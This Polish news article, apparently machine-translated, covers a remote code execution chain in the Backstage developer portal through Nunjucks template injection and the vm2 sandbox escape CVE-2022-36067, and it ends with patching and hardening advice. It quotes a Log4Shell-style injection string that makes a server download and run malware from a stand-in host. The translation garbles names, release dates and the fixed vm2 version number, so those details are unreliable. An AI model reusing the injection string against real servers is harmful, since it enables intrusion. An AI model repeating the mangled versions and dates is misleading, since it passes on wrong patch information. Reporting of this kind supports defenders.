Dziura w wykonywaniu kodu przypominająca Log4Shell w popularnym narzędziu deweloperskim Backstage

Badacze z firmy Oxeye zajmującej się bezpieczeństwem kodowania w chmurze napisali krytyczny błąd, który niedawno odkryli w popularnym zestawie narzędzi do tworzenia rozwiązań chmurowych Backstage.

Ich raport zawiera wyjaśnienie, jak działa błąd, a także kod weryfikacji koncepcji (PoC) pokazujący, jak go wykorzystać.

Backstage to tak zwany portal dla programistów w chmurze — rodzaj zaplecza logiki biznesowej, który ułatwia tworzenie internetowych interfejsów API (interfejsów programowania aplikacji), aby umożliwić programistom wewnątrz i na zewnątrz firmy interakcję z usługami online.

Jak mówi sam projekt, pierwotnie stworzony na Spotify, ale teraz open-sourced na GutHubie:

Backstage to otwarta platforma do budowy portali deweloperskich. Bazując na scentralizowanym katalogu oprogramowania, Backstage przywraca porządek w Twoich mikrousługach i infrastrukturze oraz umożliwia Twoim zespołom produktowym szybkie wysyłanie wysokiej jakości kodu — bez uszczerbku dla autonomii.

Backstage łączy wszystkie narzędzia infrastruktury, usługi i dokumentację w celu stworzenia usprawnionego środowiska programistycznego od początku do końca.

Nie, my też tak naprawdę nie wiemy, co to znaczy, ale wiemy, że zestaw narzędzi jest napisany w JavaScript i działa przy użyciu systemu JavaScript po stronie serwera node.jsi rysuje sieć zależności łańcucha dostaw z ekosystemu NPM.

NPM to skrót od Menedżer pakietów węzłów, zautomatyzowany zestaw narzędzi zapewniający, że kod JavaScript zaplecza może z łatwością korzystać z szerokiej gamy bibliotek open source, które zapewniają popularne, wstępnie napisane narzędzia pomocnicze do wszystkiego, od kryptografii i zarządzania bazami danych po rejestrowanie i kontrolę wersji.

Zdalne wykonanie kodu

Niestety ujawniony dzisiaj błąd, jeśli nie zostanie naprawiony, może dać nieuwierzytelnionym osobom z zewnątrz (luźno każdemu, kto może nawiązywać połączenia API z twoimi serwerami) sposób na wywołanie zdalnego wykonania kodu (RCE) na serwerach logiki biznesowej w twojej sieci.

Na szczęście jednak, jeśli poprawnie zinterpretowaliśmy zapis Oxeye, atak, który opisują dla swojego Backstage RCE, zależy od sekwencji błędów kodowania, które ostatecznie zależą od konkretnego błędu, oznaczonego CVE-2022-36067 w komponencie łańcucha dostaw, na którym opiera się Backstage o nazwie vm2.

Jeśli się zastanawiasz, vm2 to moduł NPM ogólnego przeznaczenia, który implementuje „piaskownicę maszyny wirtualnej”, której celem jest uczynienie potencjalnie ryzykownego JavaScript nieco bezpieczniejszym do uruchamiania na twoich serwerach.

Ten błąd CVE-2022-36067 w vm2 był zgłaszane w sierpniu 2022 r. przez samego Oxeye (który nadał mu przyjazną dla PR nazwę „Sandbreak”, ponieważ wyrwał się z piaskownicy) oraz natychmiast załatane przez zespół vm2 prawie trzy miesiące temu.

Tak więc, o ile nam wiadomo, jeśli jesteś użytkownikiem Backstage, będziesz chciał się upewnić, że załatałeś wszystkie zagrożone komponenty w swojej konfiguracji Backstage…

… ale jeśli załatałeś komponent vm2, który był podatny na Sandbreak kilka miesięcy temu, to wydaje się, że nie jesteś bezpośrednio narażony na exploit opisany w najnowszym ujawnieniu Oxeye.

Ponadto, jeśli Twoje serwery Backstage są skonfigurowane zgodnie z dobrymi wytycznymi dotyczącymi bezpieczeństwa cybernetycznego, z uwierzytelnianiem wymaganym zarówno na brzegu sieci, jak i wewnątrz sieci, nie będziesz narażony na przypadkowe sondy „wyłącznie do celów badawczych” od „pomocnych” osób określonych aby pokazać, że są zainteresowani „badaniami” dotyczącymi cyberzagrożeń.

Atak „emmentalerem”.

Mówiąc najprościej, nowo ujawnione problemy z bezpieczeństwem są skutkiem ubocznym szeregu problemów z bezpieczeństwem, takich jak dziury w plasterkach sera Emmentaler, które mogłyby zostać przeniknięte sekwencyjnie, gdyby atakujący był w stanie wyrównać co najmniej jedną dziurę w każdym plasterku.

Jak rozumiemy, Backstage zawiera komponent o nazwie Scaffolder, który, jak sama nazwa wskazuje, pomaga zarządzać różnymi dodatkami (znanymi jako wtyczki), których może chcieć lub potrzebować społeczność programistów.

Z kolei Scaffolder korzysta z systemu rejestrowania wiadomości firmy Mozilla, znanego jako Nunjucks, który obejmuje tzw. szablonowanie ciągów in node.js kółka, jak interpolacja ciągów w świecie Java i as podstawianie ciągów administratorom systemu, którzy używają powłok poleceń, takich jak Bash.

Jeśli interpolacja strun dzwoni dzwonkiem, to prawdopodobnie dlatego, że leżała w sercu Log4Shell luki w zabezpieczeniach w grudniu 2021 r Follina błąd w połowie 2022 roku.

To tam możesz przepisać treść komunikatu logowania na podstawie specjalnych „znaków kodujących” w szablonie ciągu, tak aby ciąg, taki jak $USER może zostać zastąpiony nazwą konta używaną przez serwer lub ${PID} może pobrać bieżący identyfikator procesu.

W skrajnym przypadku Log4Shell, ciekawie wyglądające zaklęcie ${jndi:ldap://example.com:8888/malware} może bezpośrednio nakłonić serwer do pobrania programu o nazwie malware od example.com i po cichu działa w tle.

Innymi słowy, musisz mieć absolutną pewność, że dane przychodzące z niezaufanego źródła, takiego jak użytkownik zewnętrzny, nigdy nie zostaną ślepo przekazane do szablonu łańcucha lub funkcji interpolacji łańcucha, która ma być użyta jako sam tekst szablonu.

Jeśli na przykład zdalny użytkownik spróbuje oszukać Twój serwer, podając swoją nazwę użytkownika jako ${{RISKY}} (zakładając, że używana jest biblioteka szablonów ${{...}} jako jego specjalny znacznik), musisz upewnić się, że Twój kod logowania poprawnie zapisze ten niegrzecznie wyglądający tekst dosłownie tak, jak został odebrany…

…zamiast pozwalać rejestrowanemu tekstowi przejąć kontrolę nad samą funkcją logowania!

Jak mówi stara rymowanka, musisz upewnić się, że nie skończysz śpiewając: „Mam dziurę w ${{BUCKET}}, droga Lizo, droga Lizo, w moim jest dziura ${{BUCKET}}, kochana Lizo. Dziura!"

Zawinięty w koc bezpieczeństwa

Aby być uczciwym, być może zbyt potężna funkcja tworzenia szablonów/interpolacji Nunjucks jest opakowana przez Backstage w jeszcze jeden element łańcucha dostaw, a mianowicie wspomniany system sandboxingu vm2, który ma ograniczać niebezpieczeństwo, jakie szkodliwy użytkownik może zrobić z booby -uwięzione dane wejściowe.

Niestety, badacze z Oxeye byli w stanie sparować nowo odkryte ścieżki wyzwalające kod szablonów łańcuchów w Backstage + Scaffolder + Nunjucks ze starszą luką CVE-2022-36067 w opakowaniu bezpieczeństwa vm2, aby uzyskać potencjalne zdalne wykonanie kodu na serwerze Backstage .

Co robić?

Jeśli jesteś użytkownikiem Backstage:

• Upewnij się, że masz najnowsze wersje Backstage i jego zależności, w tym plugin-scaffolder-backend składnik. Według Oxeye, odpowiednie błędy w kodzie Backstage zostały załatane do 01 września 2022 r., więc każde oficjalne wydanie punktu po tych danych powinno zawierać poprawki. W momencie pisania [2022-11-1T16:00Z], w tym za kulisami 1.6.0, 1.7.0 i 1.8.0, opublikowane odpowiednio 2022, 09 i 21.
• Sprawdź, czy Twoja instalacja Backstage ma skonfigurowane uwierzytelnianie zgodnie z oczekiwaniami. Oxeye twierdzi, że uwierzytelnianie jest domyślnie wyłączone i że po wykonaniu procedury Wytyczne za kulisami, serwery zaplecza (które prawdopodobnie i tak nie powinny być udostępniane na zewnątrz) nadal zezwalały na nieuwierzytelniony dostęp. Być może tego chcesz, ale zalecamy wykorzystanie tego problemu jako powodu do sprawdzenia, czy Twoja konfiguracja odpowiada Twoim intencjom.
• Sprawdź, do których części Twojej infrastruktury Backstage można dotrzeć z internetu. Ponownie użyj tego problemu jako powodu do przeskanowania własnej sieci z zewnątrz, jeśli nie robiłeś tego ostatnio.

Jeśli jesteś użytkownikiem node.js/NPM:

• Upewnij się, że masz najnowszą wersję komponentu piaskownicy vm2. Możesz mieć to zainstalowane jako zależność od innego używanego oprogramowania, nawet jeśli nie masz Backstage. Luka CVE-2022-36067 została załatana 2022, więc potrzebujesz wersji vm08 3.9.11 lub później.

Jeśli jesteś programistą:

• Podczas wywoływania zaawansowanych funkcji rejestrowania należy zachowywać się tak defensywnie, jak to tylko możliwe. Jeśli korzystasz z usługi logowania (w tym Nunjucks lub Log4J), która zawiera zaawansowane funkcje tworzenia szablonów/interpolacji, wyłącz wszystkie funkcje, których nie potrzebujesz, aby nie mogły zostać wykorzystane przez pomyłkę. Upewnij się, że niezaufane dane wejściowe nigdy nie są używane jako szablon, zapobiegając w ten sposób osobom atakującym wprowadzanie własnych, bezpośrednio niebezpiecznych ciągów wejściowych.
• Niezależnie od innych zastosowanych środków ostrożności, zdezynfekuj dane wejściowe i wyjściowe logowania. Pamiętaj, że w przyszłości ktoś inny będzie musiał otworzyć Twoje pliki dziennika. Nie dopuszczaj do zapisania w pliku dziennika niezamierzonych pułapek, które mogą później spowodować problemy, takich jak fragmenty HTML z pozostawionymi znacznikami skryptu. (Ktoś może przez pomyłkę otworzyć plik w przeglądarce).

Nawet jeśli otrzymujesz informacje z zaufanego źródła, rzadko istnieje powód, aby nie poddawać ich własnym kontrolom sanityzacji przed ich użyciem.

(Czasami możesz uzasadnić wyjątek, na przykład ze względu na wydajność, ale powinien to być wyjątek, a nie reguła).

Po pierwsze, ponowne sprawdzenie pomaga wykryć błędy, które poprzedni programiści mogli popełnić w dobrej wierze; po drugie, pomaga ograniczyć rozprzestrzenianie się złych lub fałszywych danych, jeśli inna część twojego ekosystemu zostanie naruszona.

Rzecz w tych plasterkach sera emmentalera, o których wspomnieliśmy wcześniej, polega na tym, że chociaż są przepuszczalne, jeśli co najmniej jedna dziura ustawi się na każdym arkuszu…

…są nieprzepuszczalne, jeśli co najmniej jeden arkusz ma dziury, które w ogóle się nie pokrywają!

---